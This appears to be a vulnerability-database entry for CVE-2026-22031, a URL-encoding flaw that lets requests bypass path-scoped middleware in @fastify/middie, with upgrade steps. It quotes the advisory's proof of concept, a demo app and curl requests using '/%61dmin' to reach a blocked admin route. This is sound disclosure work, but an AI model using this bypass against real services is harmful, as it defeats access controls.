CVE-2026-22031: @fastify/middie Fastify Middie Middleware Path Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-cxrg-g7r8-w69p
CVSS 8.4
CWE-177
Published
Advisory Summary

CVE-2026-22031 is a HIGH (CVSS 8.4) fastify middie middleware path bypass vulnerability (CWE-177: Improper Handling of URL Encoding (Hex Encoding)) affecting @fastify/middie libraries in the npm ecosystem. The issue involves fastify middie middleware path bypass. Remediation is available by upgrading affected packages to version 9.1.0.

CVE-2026-22031 at a Glance

CVE Identifier CVE-2026-22031
GHSA Identifier GHSA-cxrg-g7r8-w69p
Severity HIGH
CVSS v3.1 Base Score 8.4
CWE Classification CWE-177: Improper Handling of URL Encoding (Hex Encoding)
Affected Product @fastify/middie
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-22031

To remediate this vulnerability, upgrade all affected @fastify/middie dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@fastify/middie fixed: 9.1.0
npm install @fastify/middie@9.1.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @fastify/middie

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-22031, inspect your project dependencies using npm:

npm ls @fastify/middie

Analyze the terminal output to locate any version of @fastify/middie in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.1.0), your application is affected.

Note: The npm ls @fastify/middie command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-177: Improper Handling of URL Encoding (Hex Encoding), where the product does not properly handle when all or part of an input has been url encoded. In @fastify/middie, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A security vulnerability exists in `@fastify/middie` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. ### Details The vulnerability is caused by how `middie` matches requests against registered middleware paths. 1. **Regex Generation**: When [fastify.use('/admin', ...)](cci:1://file:///Users/harshjaiswal/work/research/nest/packages/platform-fastify/adapters/fastify-adapter.ts:733:2-741:3) is called, `middie` uses `path-to-regexp` to generate a regular expression for the path `/admin`. 2. **Request Matching**: For every request, `middie` executes this regular expression against `req.url` (or `req.originalUrl`). 3. **The Flaw**: `req.url` in Fastify contains the **raw, undecoded** path string. * The generated regex expects a decoded path (e.g., `/admin`). * If a request is sent to `/%61dmin`, the regex comparison fails (`/^\/admin/` does not match `/%61dmin`). * `middie` assumes the middleware does not apply and calls `next()`. 4. **Route Execution**: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies `/%61dmin` as `/admin` and executes the corresponding route handler. **Incriminated Source Code:** In the provided `middie` source: ```javascript // ... inside Holder function if (regexp) { const result = regexp.exec(url) // <--- 'url' is undecoded. if (result) { // ... executes middleware ... } else { that.done() // <--- Middleware skipped on mismatch } } ``` ### PoC **Step 1:** Run the following Fastify application (save as `app.js`): ```javascript const fastify = require('fastify')({ logger: true }); async function start() { // Register middie for Express-style middleware support await fastify.register(require('@fastify/middie')); // Middleware to block /admin route fastify.use('/admin', (req, res, next) => { res.statusCode = 403; res.end('Forbidden: Access to /admin is blocked'); }); // Sample routes fastify.get('/', async (request, reply) => { return { message: 'Welcome to the homepage' }; }); fastify.get('/admin', async (request, reply) => { return { message: 'Admin panel' }; }); // Start server try { await fastify.listen({ port: 3008 }); } catch (err) { fastify.log.error(err); process.exit(1); } } start(); ``` **Step 2:** Execute the attack. 1. **Normal Request (Blocked):** ```bash curl http://localhost:3008/admin # Output: Forbidden: Access to /admin is blocked ``` 2. **Bypass Request (Successful):** ```bash curl http://localhost:3008/%61dmin # Output: {"message":"Admin panel"} ``` ### Impact * **Type:** Authentication/Authorization Bypass. * **Affected Components:** Applications using `@fastify/middie` to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes. * **Severity:** High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.

CVE-2026-22031 Affected @fastify/middie Versions

1 component(s)
Fixed Versions:
9.1.0
Product / Package Ecosystem Affected Versions Fixed Version
@fastify/middie
npm
< 9.1.0
9.1.0

References

Frequently Asked Questions

What is CVE-2026-22031?
CVE-2026-22031 is a security vulnerability in @fastify/middie involving Fastify Middie Middleware Path Bypass under CWE-177: Improper Handling of URL Encoding (Hex Encoding).
Which @fastify/middie versions are affected?
Affected versions include releases prior to 9.1.0 across affected packages: @fastify/middie.
What version fixes CVE-2026-22031?
Upgrading to 9.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @fastify/middie affected?
Yes, @fastify/middie is affected in releases prior to 9.1.0. Upgrade your dependency to 9.1.0 or later.
What is the CVSS score of CVE-2026-22031?
CVE-2026-22031 has a CVSS v3.1 base score of 8.4 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L.
What CWE is associated with CVE-2026-22031?
CVE-2026-22031 is classified under CWE-177: Improper Handling of URL Encoding (Hex Encoding) (The product does not properly handle when all or part of an input has been URL encoded.).
How can I check npm dependencies for CVE-2026-22031?
Run the dependency tree command: 'npm ls @fastify/middie'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cxrg-g7r8-w69p",
  "modified" : "2026-01-20T16:34:50Z",
  "published" : "2026-01-20T16:34:50Z",
  "aliases" : [ "CVE-2026-22031" ],
  "summary" : "Fastify Middie Middleware Path Bypass",
  "details" : "### Summary\nA security vulnerability exists in `@fastify/middie` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.\n\n### Details\nThe vulnerability is caused by how `middie` matches requests against registered middleware paths.\n\n1.  **Regex Generation**: When [fastify.use('/admin', ...)](cci:1://file:///Users/harshjaiswal/work/research/nest/packages/platform-fastify/adapters/fastify-adapter.ts:733:2-741:3) is called, `middie` uses `path-to-regexp` to generate a regular expression for the path `/admin`.\n2.  **Request Matching**: For every request, `middie` executes this regular expression against `req.url` (or `req.originalUrl`).\n3.  **The Flaw**: `req.url` in Fastify contains the **raw, undecoded** path string.\n    *   The generated regex expects a decoded path (e.g., `/admin`).\n    *   If a request is sent to `/%61dmin`, the regex comparison fails (`/^\\/admin/` does not match `/%61dmin`).\n    *   `middie` assumes the middleware does not apply and calls `next()`.\n4.  **Route Execution**: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies `/%61dmin` as `/admin` and executes the corresponding route handler.\n\n**Incriminated Source Code:**\nIn the provided `middie` source:\n```javascript\n// ... inside Holder function\nif (regexp) {\n  const result = regexp.exec(url) // <--- 'url' is undecoded.\n  if (result) {\n    // ... executes middleware ...\n  } else {\n    that.done() // <--- Middleware skipped on mismatch\n  }\n}\n```\n\n### PoC\n**Step 1:** Run the following Fastify application (save as `app.js`):\n```javascript\nconst fastify = require('fastify')({ logger: true });\n\nasync function start() {\n  // Register middie for Express-style middleware support\n  await fastify.register(require('@fastify/middie'));\n\n  // Middleware to block /admin route\n  fastify.use('/admin', (req, res, next) => {\n    res.statusCode = 403;\n    res.end('Forbidden: Access to /admin is blocked');\n  });\n\n  // Sample routes\n  fastify.get('/', async (request, reply) => {\n    return { message: 'Welcome to the homepage' };\n  });\n\n  fastify.get('/admin', async (request, reply) => {\n    return { message: 'Admin panel' };\n  });\n\n  // Start server\n  try {\n    await fastify.listen({ port: 3008 });\n  } catch (err) {\n    fastify.log.error(err);\n    process.exit(1);\n  }\n}\n\nstart();\n```\n\n**Step 2:** Execute the attack.\n1.  **Normal Request (Blocked):**\n    ```bash\n    curl http://localhost:3008/admin\n    # Output: Forbidden: Access to /admin is blocked\n    ```\n2.  **Bypass Request (Successful):**\n    ```bash\n    curl http://localhost:3008/%61dmin\n    # Output: {\"message\":\"Admin panel\"}\n    ```\n\n### Impact\n*   **Type:** Authentication/Authorization Bypass.\n*   **Affected Components:** Applications using `@fastify/middie` to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes.\n*   **Severity:** High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@fastify/middie"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.1.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 9.0.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22031"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fastify/middie/pull/245"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/fastify/middie"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fastify/middie/releases/tag/v9.1.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-177" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-20T16:34:50Z",
    "nvd_published_at" : "2026-01-19T16:15:54Z"
  }
}